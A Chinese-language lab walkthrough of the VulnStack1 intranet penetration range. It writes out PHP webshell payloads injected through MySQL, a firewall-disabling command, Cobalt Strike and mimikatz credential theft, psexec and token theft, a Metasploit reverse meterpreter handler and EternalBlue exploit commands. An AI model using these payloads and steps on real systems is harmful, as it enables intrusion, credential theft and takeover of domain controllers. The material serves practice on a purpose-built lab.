内网渗透靶机:VulnStack1
靶机简介
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,虚拟机所有统一密码:hongrisec@2019:
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/#base
环境搭建
模拟外网:Vmnet1(192.168.52.0/24)
WEB服务器:windows7系统
外网网卡IP:192.168.0.129
内网网卡IP:192.168.52.143
域成员:windows server 2003系统
网卡IP:192.168.52.141
域控服务器:windows server 2008系统
网卡IP:192.168.52.138
攻击机器:kali Win10
kali IP:192.168.0.128
Win10 192.168.0.102
win7需要启动c盘下的phpstudy 如果报错 重启一下win7虚拟机 另外win7的网卡配置需要两张(vmnet1和nat网卡顺序不能错)
注意 因为后期需要使用god.org这域名的dns解析,此解析是在域控中。但是因为win7我配置的是可以连接外网,而在外网中god.org已经有DNS解析了 所以需要修改可以连外网的网卡的DNS解析服务器地址为域控的ip
外网渗透
访问web发现php探针 然后有mysql 访问http://192.168.0.129/phpmyadmin/ root/root弱密码登录数据库
首先是数据库拿shell
测试写webshell
查看是否有写入权限
show variables like '%secure_file_priv%'
值为NULL 无写权限
如果为空 则可以写
select "<?php eval($_POST['1'])>" into outfile '/var/www/html/1.php'
select "<?php eval($_POST['1'])>" into dunpfile '/var/www/html/1.php'
利用日志记录写shell
开启日志记录
set global general_log='on'
查看日志文件位置
show variables like '%general%'
重新设置日志文件位置
set global general_log_file = "C:/phpStudy/www/1.php"
写入一句话
SELECT '<?php eval($_GET[1]);?>'
蚁剑连接 还有一种是通过网站后台拿webshell的就不演示了 内网为主
内网渗透及域渗透
上线cs 启动cs服务端
./teamserver 服务器ip 客户端连接的密码
创建监听 生成后门 在上传木马前 先关闭防火墙
netsh advfirewall set allprofiles state off
然后上传运行一下木马上线cs
目标主机信息收集
whoami
hostname
net user:NET USER 用于创建和修改计算机上的用户帐户。 当不带选项使用本命令时,它会列出计算机上的用户帐户。 用户帐户的信息存储在用户帐户数据库中
net localgroup administrators:查看本地管理员
查看是什么操作系统 & 系统版本: 系统中文:systeminfo findstr /B /C:”OS 名称” /C:”OS 版本” 系统英文:systeminfo findstr /B /C:”OS Name” /C:”OS Version”
查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
查询已安装的软件及版本信息:wmic product get name,version
在 win10 中,输入 wmic /? 会提示 wmic 已弃用,但在 server2012R2,win7 等版本中可以正常使用 powershell 中可替代该命令的是 Get-WmiObject: Get-WmiObject -class win32_product Select-Object -property name,version
查询进程及服务:tasklist tasklist /svc 默认显示映像名称,PID,服务
判断是否存在域
使用 ipconfig /all 查看 DNS 服务器:
查看域信息:net view
查看主域信息:net view /domain
查看时间服务器:net time /domain 发现能够执行,说明此台机器在域中 (若是此命令在显示域处显示 WORKGROUP,则不存在域,若是报错:发生系统错误 5,则存在域,但该用户不是域用户)
查询当前的登录域与用户信息:net config workstation
查找域控
net time /domain #查看时间服务器,判断主域,主域服务器都做时间服务器
net user /domain #查看域用户
net view /domain #查看有几个域
ipconfig /all #查询本机IP段,所在域等
net config Workstation #当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user #本机用户列表
net group "domain computers" /domain #查看域内所有的主机名
net group "domain admins" /domain #查看域管理员
net group "domain controllers" /domain #查看域控
这里好像因为god.org在外网存在 所以一直nslookup god.org有多个ip 换成内网则可以查出 这里默认已经查出域控地址为 192.168.52.138
横向探测
在获取CobaltStrike Shell之后获取的是Administrator权限,使用ms14-058提权成功 使用mimikatz可以读取密码
进行其他主机发现扫描 可以使用 arp -a 也可以使用
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I findstr "TTL="
这里使用ladon工具 https://github.com/k8gege/Aggressor/releases/tag/7.0 加载Ladon.cna脚本
Cscan 192.168.52.1/24 OnlinePC
横向移动
cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
用 frp 创建 socks5 代理
SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon 有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash 新建一个 Listener,payload 设置为 Beacon SMB: 在已有的 Beacon上右键 Spawn(生成会话 / 派生),选择创建的 smb beacon 的 listerner:
在次之前使用mimikatz获取密码
选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标:
这就是派生的 SMB Beacon,当前没有连接
可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它 第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透
前提是能够通过 shell 之类访问到内网其他主机
psexec 使用凭证登录其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息
于是可以尝试使用 psexec 模块登录其他主机
右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块:
token 窃取
除了直接使用获取到的 hash 值,也可以直接窃取 GOD\Administrator 的 token 来登录其他主机 选择 beacon 右键 -> 目标 -> 进程列表 选择 GOD\Administrator 的 token 盗取: 然后在选择令牌处勾选使用当前 token 即可
转发至MSF
这里不知道为啥 我的cs使用psexec获取不到beacon 看其他文章很多转到msf继续渗透的
MSF中开启监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.0.128
set lport 777
exploit
然后在cs中添加监听 增加会话 选择刚刚的MSFlisten监听
使用run get_local_subnets
查看当前路由 然后添加对应网段:run autoroute -s 192.168.52.0/24 添加路由段
先执行background 命令将当前执行的 Meterpreter 会话切换到后台(后续也可执行sessions -i 重新返回会话),然后使用 MSF 自带 auxiliary/scanner/portscan/tcp 模块扫描内网域成员主机 192.168.52.141 开放的端口:
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set rhosts 192.168.52.141
msf6 > set ports 80,135-139,445,3306,3389
msf6 > run
同样域控主机138也开启了445端口
使用ms17010永恒之蓝攻击开放445端口的主机
msf6 > search ms17_010 #搜索MSF集成的与ms17_010漏洞相关的模块
msf6 >use auxiliary/scanner/smb/smb_ms17_010 # 加载扫描exp
msf6 >set rhosts 192.168.52.141 #设置被扫描的主机IP
msf6 >run #进行扫描,观察是否存在该漏洞
存在漏洞 接下来尝试利用永恒之蓝漏洞拿下域控主机192.168.52.138,使用 MSF 集成的 ms17-010 漏洞 EXP
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 > set payload windows/x64/meterpreter/bind_tcp
msf6 > set rhosts 192.168.52.138
msf6 > run
这里我的不知道是什么问题 出错了 永恒之蓝比较容易蓝屏 拿shell不容易 这里就不演示了 不知道是我操作问题还是怎么回事 出现好多和别人不一样的问题。。